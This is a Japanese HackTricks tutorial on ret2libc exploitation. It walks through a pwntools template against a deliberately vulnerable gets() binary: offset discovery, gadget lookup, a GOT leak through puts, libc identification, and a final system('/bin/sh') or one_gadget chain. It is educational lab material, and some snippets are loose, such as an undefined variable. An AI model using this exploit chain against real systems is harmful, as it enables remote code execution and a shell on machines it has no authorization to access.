ROPを使用したlibcアドレスのリーク
Reading time: 15 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
簡単な要約
- オーバーフローのオフセットを見つける
POP_RDI
ガジェット、PUTS_PLT
およびMAIN
ガジェットを見つける- 前のガジェットを使用してputsまたは他のlibc関数のメモリアドレスをリークし、libcのバージョンを見つける(donwload it)
- ライブラリを使用して、ROPを計算し、エクスプロイトする
練習用の他のチュートリアルとバイナリ
このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
他の役立つチュートリアル: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
コード
ファイル名: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBCを漏洩させるテンプレート
エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:
1- オフセットの特定
テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供された場合は、必要なコードを実行してそれを見つけます(デフォルトでは OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
実行 python template.py
を入力すると、プログラムがクラッシュした状態でGDBコンソールが開きます。そのGDBコンソール内で x/wx $rsp
を実行して、RIPを上書きしようとしているバイトを取得します。最後に、pythonコンソールを使用してオフセットを取得します:
from pwn import *
cyclic_find(0x6161616b)
オフセットを見つけたら(この場合は40)、その値を使ってテンプレート内のOFFSET変数を変更します。
OFFSET = "A" * 40
別の方法としては、pattern create 1000
-- retまで実行 -- pattern seach $rsp
をGEFから使用することです。
2- ガジェットの発見
次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、使用されているlibcを見つけるためにputs
を呼び出すのに役立ち、後で最終的なエクスプロイトを実行するために使用されます。
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
はfunction putsを呼び出すために必要です。
MAIN_PLT
はexploitのためにoverflowをagain呼び出すために、1回のインタラクションの後にmain functionを再度呼び出すために必要です(無限のエクスプロイトのラウンド)。各ROPの最後にプログラムを再度呼び出すために使用されます。
POP_RDIは呼び出された関数にparameterをpassするために必要です。
このステップでは、実行中にpwntoolsによってすべてが見つかるため、何も実行する必要はありません。
3- libcライブラリの特定
今はどのバージョンのlibcライブラリが使用されているかを見つける時です。そうするために、function puts
のメモリ内のaddressをleakし、そのアドレスにどのlibrary versionのputsバージョンがあるかをsearchします。
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
実行されたコードの中で最も重要な行は次のとおりです:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
これにより、RIPを上書きすることが可能になるまでいくつかのバイトが送信されます: OFFSET
。
次に、ガジェットPOP_RDI
のアドレスを設定し、次のアドレス(FUNC_GOT
)がRDIレジスタに保存されるようにします。これは、putsを呼び出すために、PUTS_GOT
のアドレスを渡したいからです。puts関数のメモリ内のアドレスはPUTS_GOT
が指すアドレスに保存されています。
その後、PUTS_PLT
が呼び出され(RDI内にPUTS_GOT
がある状態で)、putsはPUTS_GOT
内の内容を読み取ります(メモリ内のputs関数のアドレス)そしてそれを出力します。
最後に、main関数が再度呼び出され、再びオーバーフローを利用できるようになります。
この方法で、puts関数を騙して、メモリ内の関数putsのアドレス(libcライブラリ内)を出力させました。そのアドレスがわかったので、どのlibcバージョンが使用されているかを検索できます。
ローカルバイナリを利用しているため、どのバージョンのlibcが使用されているかを特定する必要はありません(ただ/lib/x86_64-linux-gnu/libc.so.6
でライブラリを見つければよいです)。
しかし、リモートエクスプロイトの場合、どのようにそれを見つけるかをここで説明します:
3.1- libcバージョンの検索 (1)
ウェブページでどのライブラリが使用されているかを検索できます: https://libc.blukat.me/
これにより、発見されたlibcのバージョンをダウンロードすることもできます。
3.2- libcバージョンの検索 (2)
次のようにすることもできます:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
これには少し時間がかかるので、辛抱強く待ってください。
これが機能するためには、次が必要です:
- Libcシンボル名:
puts
- 漏洩したlibcアドレス:
0x7ff629878690
これにより、最も可能性の高いlibcを特定できます。
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
2つのマッチが得られます(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
を作業ディレクトリにコピーします。
3.3- 漏洩させる他の関数
puts
printf
__libc_start_main
read
gets
4- libcアドレスの発見と悪用
この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のようにします:/lib/x86_64-linux-gnu/libc.so.6
したがって、template.py
の最初にlibc変数を次のように変更します: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
libcライブラリへのパスを指定することで、残りのエクスプロイトは自動的に計算されます。
get_addr
関数内でlibcのベースアドレスが計算されます:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
最終的なlibcベースアドレスは00で終わる必要があります。そうでない場合は、間違ったライブラリを漏洩した可能性があります。
その後、関数system
のアドレスと文字列_"/bin/sh"_のアドレスは、libcのベースアドレスから計算され、libcライブラリが与えられます。
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
最終的に、/bin/sh 実行エクスプロイトが準備されます:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
最後のROPについて説明しましょう。
最後のROP(rop1
)は再びmain関数を呼び出し、次に再度****オーバーフローを悪用します(だからOFFSET
がここに再びあります)。次に、POP_RDI
を呼び出して**"/bin/sh"のアドレス**(BINSH
)を指し、system関数(SYSTEM
)を呼び出します。なぜなら、"/bin/sh"のアドレスがパラメータとして渡されるからです。
最後に、exit関数のアドレスが呼び出され、プロセスが正常に終了し、アラートが生成されません。
この方法で、エクスプロイトは_/bin/sh_シェルを実行します。
4(2)- ONE_GADGETの使用
systemと**"/bin/sh"を使用する代わりに、ONE_GADGETを使用してシェルを取得することもできます。ONE_GADGETはlibcライブラリ内で、1つのROPアドレス**を使用してシェルを取得する方法を見つけます。
ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは[rsp+0x30] == NULL
のようなものです。RSP内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
この脆弱性を悪用するためのテンプレートはここにあります:
Common problems
MAIN_PLT = elf.symbols['main'] が見つかりません
"main" シンボルが存在しない場合、メインコードの場所を見つけることができます:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
アドレスを手動で設定します:
MAIN_PLT = 0x401080
Putsが見つかりません
バイナリがPutsを使用していない場合は、次のことを確認してください。
sh: 1: %s%s%s%s%s%s%s%s: not found
すべてのエクスプロイトを作成した後にこのエラーが見つかった場合: sh: 1: %s%s%s%s%s%s%s%s: not found
"/bin/sh"のアドレスから64バイトを引いてみてください:
BINSH = next(libc.search("/bin/sh")) - 64
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。